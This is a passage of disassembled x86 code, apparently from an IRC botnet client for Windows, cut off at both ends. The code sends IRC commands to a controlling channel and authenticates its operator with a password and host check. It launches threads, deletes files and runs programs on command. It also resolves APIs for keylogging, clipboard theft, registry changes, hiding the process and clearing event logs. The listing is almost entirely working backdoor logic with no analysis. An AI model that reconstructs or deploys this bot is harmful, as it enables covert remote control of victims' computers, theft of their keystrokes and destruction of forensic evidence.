		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_443158
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Ch
		push	eax
		call	sub_40B691
		add	esp, 24h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41BA41
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_40947E
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443170
		jmp	loc_4045FF
; ---------------------------------------------------------------------------

loc_409476:				; CODE XREF: sub_401C87+77FDj
		push	32h
		call	dword_4F534C	; Sleep

loc_40947E:				; CODE XREF: sub_401C87+77DCj
		cmp	[ebp+var_1EF4],	ebx
		jz	short loc_409476
		jmp	loc_406F3F
; ---------------------------------------------------------------------------

loc_40948B:				; CODE XREF: sub_401C87+3F78j
					; sub_401C87+3F8Dj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_410287
		push	[ebp+arg_10]
		push	offset dword_4431B0
		jmp	loc_408C69
; ---------------------------------------------------------------------------

loc_4094AA:				; CODE XREF: sub_401C87+3F4Ej
					; sub_401C87+3F63j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41E4B0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1D34]
		push	offset dword_4431C8
		push	eax
		call	sub_41EA60
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41EC30
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_4431CC
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Ah
		push	eax
		call	sub_40B691
		add	esp, 40h
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset sub_416788
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_40957F
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4431F0
		jmp	loc_4085EB
; ---------------------------------------------------------------------------

loc_409577:				; CODE XREF: sub_401C87+78FEj
		push	32h
		call	dword_4F534C	; Sleep

loc_40957F:				; CODE XREF: sub_401C87+78DDj
		cmp	[ebp+var_1BA0],	ebx
		jz	short loc_409577
		jmp	loc_402593
; ---------------------------------------------------------------------------

loc_40958C:				; CODE XREF: sub_401C87+3F24j
					; sub_401C87+3F39j
		push	[ebp+arg_10]
		call	dword_4F5354	; DeleteFileA
		test	eax, eax
		jz	short loc_4095A3
		push	[ebp+arg_10]
		push	offset dword_44322C
		jmp	short loc_4095AE
; ---------------------------------------------------------------------------

loc_4095A3:				; CODE XREF: sub_401C87+7910j
		push	offset dword_443248
		call	sub_418C20
		push	eax

loc_4095AE:				; CODE XREF: sub_401C87+791Aj
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41EC30

loc_4095BF:				; CODE XREF: sub_401C87+7A0Dj
		add	esp, 10h
		jmp	loc_406F1E
; ---------------------------------------------------------------------------

loc_4095C7:				; CODE XREF: sub_401C87+3EFAj
					; sub_401C87+3F0Fj
		push	[ebp+arg_10]
		call	sub_41E710
		push	eax
		call	sub_41A652
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		push	[ebp+arg_10]
		cmp	eax, esi
		lea	eax, [ebp+var_2C0]
		jnz	short loc_4095EE
		push	offset unk_443254
		jmp	short loc_4095F3
; ---------------------------------------------------------------------------

loc_4095EE:				; CODE XREF: sub_401C87+795Ej
		push	offset unk_443278

loc_4095F3:				; CODE XREF: sub_401C87+7965j
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406F42
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 14h
		jmp	loc_406F42
; ---------------------------------------------------------------------------

loc_409626:				; CODE XREF: sub_401C87+3ED0j
					; sub_401C87+3EE5j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_41A334
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_40964C
		push	offset unk_4432A8
		jmp	loc_406F0F
; ---------------------------------------------------------------------------

loc_40964C:				; CODE XREF: sub_401C87+79B9j
		push	offset unk_4432C8
		jmp	loc_406F0F
; ---------------------------------------------------------------------------

loc_409656:				; CODE XREF: sub_401C87+3EA6j
					; sub_401C87+3EBBj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4E30C8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D4], eax
		jz	short loc_409699
		push	2
		lea	eax, [ebp+var_2D4]
		push	4
		push	eax
		call	dword_4E3040	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_4096BA
		push	dword ptr [eax]
		push	esi
		push	offset unk_4432F8

loc_409688:				; CODE XREF: sub_401C87+7A31j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		jmp	loc_4095BF
; ---------------------------------------------------------------------------

loc_409699:				; CODE XREF: sub_401C87+79E2j
		push	esi
		call	dword_4E310C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4096BA
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4E3114	; inet_ntoa
		push	eax
		push	esi
		push	offset unk_443318
		jmp	short loc_409688
; ---------------------------------------------------------------------------

loc_4096BA:				; CODE XREF: sub_401C87+79F7j
					; sub_401C87+7A1Bj
		push	offset unk_443338
		jmp	loc_40649E
; ---------------------------------------------------------------------------

loc_4096C4:				; CODE XREF: sub_401C87+3E7Cj
					; sub_401C87+3E91j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41E510
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_443360
		push	eax
		call	sub_41EA60
		add	esp, 18h
		jmp	loc_407148
; ---------------------------------------------------------------------------

loc_4096ED:				; CODE XREF: sub_401C87+3E52j
					; sub_401C87+3E67j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen_1	; "open"
		push	ebx
		call	dword_4E2FF4
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_409711
		push	offset unk_443390
		jmp	loc_406F0F
; ---------------------------------------------------------------------------

loc_409711:				; CODE XREF: sub_401C87+7A7Ej
		push	offset unk_4433B0
		jmp	loc_406F0F
; ---------------------------------------------------------------------------

loc_40971B:				; CODE XREF: sub_401C87+3E28j
					; sub_401C87+3E3Dj
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_43F098, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_4433D4
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_409734:				; CODE XREF: sub_401C87+3DFEj
					; sub_401C87+3E13j
		push	[ebp+arg_10]
		call	sub_41E710
		test	eax, eax
		pop	ecx
		jle	loc_409A67
		push	[ebp+arg_10]
		call	sub_41E710
		cmp	eax, 400h
		pop	ecx
		jge	loc_409A67
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B38F
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aNickS_7	; "NICK	%s"
		push	eax
		call	sub_41EA60
		add	esp, 1Ch
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset aS_25	; "%s\r\n"
		jmp	loc_408B99
; ---------------------------------------------------------------------------

loc_40978F:				; CODE XREF: sub_401C87+3DD4j
					; sub_401C87+3DE9j
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41E710
		test	eax, eax
		pop	ecx
		jle	loc_4076C4
		push	esi
		call	sub_41E710
		cmp	eax, 400h
		pop	ecx
		jge	loc_4076C4
		push	offset aQuitLater_0 ; "QUIT :later\r\n"
		push	esi
		call	sub_41E710
		imul	eax, 234h
		pop	ecx
		push	dword_455FCC[eax]
		call	sub_409C2F
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_4F534C	; Sleep
		push	esi
		call	sub_41E710
		imul	eax, 234h
		pop	ecx
		push	dword_455FCC[eax]
		call	dword_4E3120	; closesocket
		push	[ebp+var_10]
		push	esi
		call	sub_41E710
		imul	eax, 234h
		pop	ecx
		push	dword_455FD4[eax]
		call	dword_4F5380	; TerminateThread
		push	esi
		call	sub_41E710
		imul	eax, 234h
		push	esi
		mov	dword_455FD4[eax], ebx
		call	sub_41E710
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_455DC0[eax], bl
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_40983D:				; CODE XREF: sub_401C87+3DAAj
					; sub_401C87+3DBFj
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40987C
		call	sub_40B854
		cmp	eax, ebx
		jle	short loc_409864
		push	eax
		push	offset unk_443420
		jmp	loc_40755A
; ---------------------------------------------------------------------------

loc_409864:				; CODE XREF: sub_401C87+7BD0j
		push	offset unk_443448

loc_409869:				; CODE XREF: sub_401C87+24B3j
					; sub_401C87+24D2j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx
		jmp	loc_407569
; ---------------------------------------------------------------------------

loc_40987C:				; CODE XREF: sub_401C87+7BC7j
		mov	eax, [ebp+var_A4]
		lea	esi, [eax+1]
		jmp	short loc_4098F3
; ---------------------------------------------------------------------------

loc_409887:				; CODE XREF: sub_401C87+7C6Fj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_4076C4
		push	edi
		call	sub_41E710
		push	eax
		call	sub_40B7CC
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		lea	eax, [ebp+var_2C0]
		jz	short loc_4098B6
		push	offset unk_443470
		jmp	short loc_4098BB
; ---------------------------------------------------------------------------

loc_4098B6:				; CODE XREF: sub_401C87+7C26j
		push	offset unk_443494

loc_4098BB:				; CODE XREF: sub_401C87+7C2Dj
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4098E5
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 14h

loc_4098E5:				; CODE XREF: sub_401C87+7C40j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		pop	ecx
		inc	esi

loc_4098F3:				; CODE XREF: sub_401C87+7BFEj
		cmp	esi, 20h
		jb	short loc_409887
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_4098FD:				; CODE XREF: sub_401C87+3D80j
					; sub_401C87+3D95j
		cmp	[ebp+var_C], ebx
		jz	loc_409A67
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41EBB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409A67
		push	esi
		push	offset aS_26	; "%s\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		push	esi
		push	offset dword_4434C8
		jmp	loc_408D96
; ---------------------------------------------------------------------------

loc_409936:				; CODE XREF: sub_401C87+3D56j
					; sub_401C87+3D6Bj
		push	[ebp+arg_10]
		push	offset dword_4434E4
		push	[ebp+arg_4]
		call	sub_409C2F
		push	[ebp+arg_10]
		push	offset unk_4434F0
		jmp	loc_408D96
; ---------------------------------------------------------------------------

loc_409953:				; CODE XREF: sub_401C87+3D2Cj
					; sub_401C87+3D41j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS_3 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		push	[ebp+arg_10]
		push	offset unk_443524
		jmp	loc_408C69
; ---------------------------------------------------------------------------

loc_409977:				; CODE XREF: sub_401C87+3D02j
					; sub_401C87+3D17j
		push	[ebp+arg_10]
		push	offset aNickS_8	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		push	[ebp+arg_10]
		push	offset unk_443554
		jmp	loc_408D96
; ---------------------------------------------------------------------------

loc_409994:				; CODE XREF: sub_401C87+316Dj
					; sub_401C87+3182j
		push	offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_443590
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		push	[ebp+arg_10]
		call	sub_41E710
		add	esp, 1Ch

loc_4099CC:				; CODE XREF: sub_401C87+7D91j
		push	eax
		call	dword_4F534C	; Sleep

loc_4099D3:				; CODE XREF: sub_401C87+2A9Bj
		xor	eax, eax
		jmp	loc_409C2A
; ---------------------------------------------------------------------------

loc_4099DA:				; CODE XREF: sub_401C87+3143j
					; sub_401C87+3158j
		push	offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_4435CC
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		push	[ebp+arg_10]
		call	sub_41E710
		add	esp, 1Ch
		imul	eax, 3E8h
		jmp	short loc_4099CC
; ---------------------------------------------------------------------------

loc_409A1A:				; CODE XREF: sub_401C87+E79j
					; sub_401C87+E8Ej
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_43F0A0
		push	eax
		call	sub_40B38F
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS_9	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_443600
		call	sub_415AB0

loc_409A64:				; CODE XREF: sub_401C87+5322j
		add	esp, 24h

loc_409A67:				; CODE XREF: sub_401C87+624j
					; sub_401C87+630j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_409C2A
; ---------------------------------------------------------------------------

loc_409A6F:				; CODE XREF: sub_401C87+A73j
					; sub_401C87+A88j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_4076C4
		cmp	[ebp+var_A8], ebx
		jnz	loc_4076C4
		push	offset asc_443624 ; "!~"
		push	[ebp+var_90]
		call	sub_41F870
		mov	esi, eax
		push	offset dword_4E2F40
		push	ebx
		inc	esi
		call	sub_41F870
		push	(offset	asc_443624+2)
		push	eax
		call	sub_41F870
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41F7E0
		add	esp, 20h
		test	eax, eax
		jz	short loc_409B17
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409C2F
		push	edi
		push	esi
		push	offset unk_44367C

loc_409B03:				; CODE XREF: sub_401C87+7EE9j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		add	esp, 30h
		jmp	loc_402593
; ---------------------------------------------------------------------------

loc_409B17:				; CODE XREF: sub_401C87+7E43j
		mov	[ebp+arg_24], ebx

loc_409B1A:				; CODE XREF: sub_401C87+7EB0j
		mov	eax, [ebp+arg_24]
		push	edi
		push	off_43F164[eax]
		call	sub_40B9E4
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409B72
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], 4
		jb	short loc_409B1A
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409C2F
		push	edi
		push	esi
		push	offset unk_4436FC
		jmp	short loc_409B03
; ---------------------------------------------------------------------------

loc_409B72:				; CODE XREF: sub_401C87+7EA6j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_409B77:				; CODE XREF: sub_401C87+7F11j
		cmp	[edi], bl
		jnz	short loc_409B8E
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409B9F

loc_409B8E:				; CODE XREF: sub_401C87+7EF2j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409B77
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_409B9F:				; CODE XREF: sub_401C87+7F05j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41E510
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_409BD6
		push	ebx
		push	[ebp+var_4]
		push	offset unk_443728
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 14h

loc_409BD6:				; CODE XREF: sub_401C87+7F33j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_443748
		jmp	loc_40220D
; ---------------------------------------------------------------------------

loc_409BE7:				; CODE XREF: sub_401C87+202j
					; sub_401C87+217j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS_4 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		add	esp, 2Ch
		mov	dword_4E2F30, edi

loc_409C28:				; CODE XREF: sub_401C87+E9j
					; sub_401C87+F5j ...
		mov	eax, edi

loc_409C2A:				; CODE XREF: sub_401C87+2A5Aj
					; sub_401C87+2A7Cj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401C87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C2F	proc near		; CODE XREF: sub_401B0B+3Dp
					; sub_401C87+1BFp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41F9C0
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30D8	; send
		leave
		retn
sub_409C2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C75	proc near		; CODE XREF: sub_401C87+4F3p
					; sub_401C87+132Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice_3 ;	"NOTICE"
		jnz	short loc_409C90
		mov	edi, offset aPrivmsg_2 ; "PRIVMSG"

loc_409C90:				; CODE XREF: sub_409C75+14j
		push	edi
		call	sub_41BC70
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41BC70
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_12	; "%s"
		push	esi
		push	eax
		call	sub_41EC30
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS	; "%s %s :%s\r\n"
		push	eax
		call	sub_41EA60
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30D8	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409D0E
		push	7D0h
		call	dword_4F534C	; Sleep

locret_409D0E:				; CODE XREF: sub_409C75+8Cj
		leave
		retn
sub_409C75	endp


; =============== S U B	R O U T	I N E =======================================



sub_409D10	proc near		; CODE XREF: sub_401404+4Bp
		push	ebx
		push	ebp
		mov	ebp, dword_4F5370
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4F5390
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409E30
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4E3134, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4E30A8, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4E308C, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4E2F9C, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4E2F48, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4E2F78, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4E2FF0, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4E30E8, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4E3140, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4E2FA8, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3134, ebx
		mov	dword_4E2F90, eax
		jz	short loc_409E0E
		cmp	dword_4E30A8, ebx
		jz	short loc_409E0E
		cmp	dword_4E308C, ebx
		jz	short loc_409E0E
		cmp	dword_4E2F9C, ebx
		jz	short loc_409E0E
		cmp	dword_4E2F78, ebx
		jz	short loc_409E0E
		cmp	dword_4E2FF0, ebx
		jz	short loc_409E0E
		cmp	dword_4E30E8, ebx
		jz	short loc_409E0E
		cmp	dword_4E3140, ebx
		jz	short loc_409E0E
		cmp	dword_4E2FA8, ebx
		jz	short loc_409E0E
		cmp	eax, ebx
		jnz	short loc_409E18

loc_409E0E:				; CODE XREF: sub_409D10+B8j
					; sub_409D10+C0j ...
		mov	dword_4E3144, 1

loc_409E18:				; CODE XREF: sub_409D10+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4E30C0, eax
		jz	short loc_409E45
		push	1
		push	ebx
		call	eax
		jmp	short loc_409E45
; ---------------------------------------------------------------------------

loc_409E30:				; CODE XREF: sub_409D10+1Dj
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E3148, eax
		mov	dword_4E3144, 1

loc_409E45:				; CODE XREF: sub_409D10+117j
					; sub_409D10+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4F538C	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F5A
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4E30E4, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4E3094, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4E3028, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4E3138, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4E3058, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4E3078, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4E30DC, eax
		call	esi	; GetProcAddress
		cmp	dword_4E30E4, ebx
		mov	dword_4E2FC8, eax
		jz	short loc_409EFE
		cmp	dword_4E3094, ebx
		jz	short loc_409EFE
		cmp	dword_4E3028, ebx
		jz	short loc_409EFE
		cmp	dword_4E3138, ebx
		jz	short loc_409EFE
		cmp	dword_4E3058, ebx
		jz	short loc_409EFE
		cmp	dword_4E3078, ebx
		jz	short loc_409EFE
		cmp	dword_4E30DC, ebx
		jz	short loc_409EFE
		cmp	eax, ebx
		jnz	short loc_409F08

loc_409EFE:				; CODE XREF: sub_409D10+1B8j
					; sub_409D10+1C0j ...
		mov	dword_4E314C, 1

loc_409F08:				; CODE XREF: sub_409D10+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4E3054, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4E2F5C, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4E3024, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3054, ebx
		mov	dword_4E300C, eax
		jz	short loc_409F65
		cmp	dword_4E2F5C, ebx
		jz	short loc_409F65
		cmp	dword_4E3024, ebx
		jz	short loc_409F65
		cmp	eax, ebx
		jnz	short loc_409F6F
		jmp	short loc_409F65
; ---------------------------------------------------------------------------

loc_409F5A:				; CODE XREF: sub_409D10+144j
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E3150, eax

loc_409F65:				; CODE XREF: sub_409D10+232j
					; sub_409D10+23Aj ...
		mov	dword_4E314C, 1

loc_409F6F:				; CODE XREF: sub_409D10+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A128
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4E30F8, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4E303C, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4E30AC, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4E2F88, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4E2FEC, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4E3064, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4E3008, eax
		call	esi	; GetProcAddress
		cmp	dword_4E30F8, ebx
		mov	dword_4E3018, eax
		jz	short loc_40A018
		cmp	dword_4E303C, ebx
		jz	short loc_40A018
		cmp	dword_4E30AC, ebx
		jz	short loc_40A018
		cmp	dword_4E2F88, ebx
		jz	short loc_40A018
		cmp	dword_4E2FEC, ebx
		jz	short loc_40A018
		cmp	dword_4E3064, ebx
		jnz	short loc_40A022

loc_40A018:				; CODE XREF: sub_409D10+2DEj
					; sub_409D10+2E6j ...
		mov	dword_4E3154, 1

loc_40A022:				; CODE XREF: sub_409D10+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
